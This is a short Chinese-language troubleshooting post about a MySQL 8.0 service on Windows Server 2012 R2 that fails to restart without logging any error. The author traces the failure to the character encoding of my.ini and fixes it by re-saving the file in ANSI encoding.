环境:win server 2012R2 mysql版本:8.0 今天使用net stop mysql;net start mysql进行重启,发现重启失败,而且提示服务没有任何错误。 接着就检查了所有的常见问题(如端口占用、配置文件路径错误等)仍然无法找到原因 经过多次尝试和排查,发现问题的根源竟然在于my.ini文件的字符编码。如果my.ini文件不是使用ANSI编码保存的,那么MySQL在读取配置文件时可能会遇到问题,从而导致服务无法启动。最坑的是mysql日志不会报错,windos的事件查看器也看不到任何错误。 通过将my.ini文件的编码修改为ANSI,问题得以解决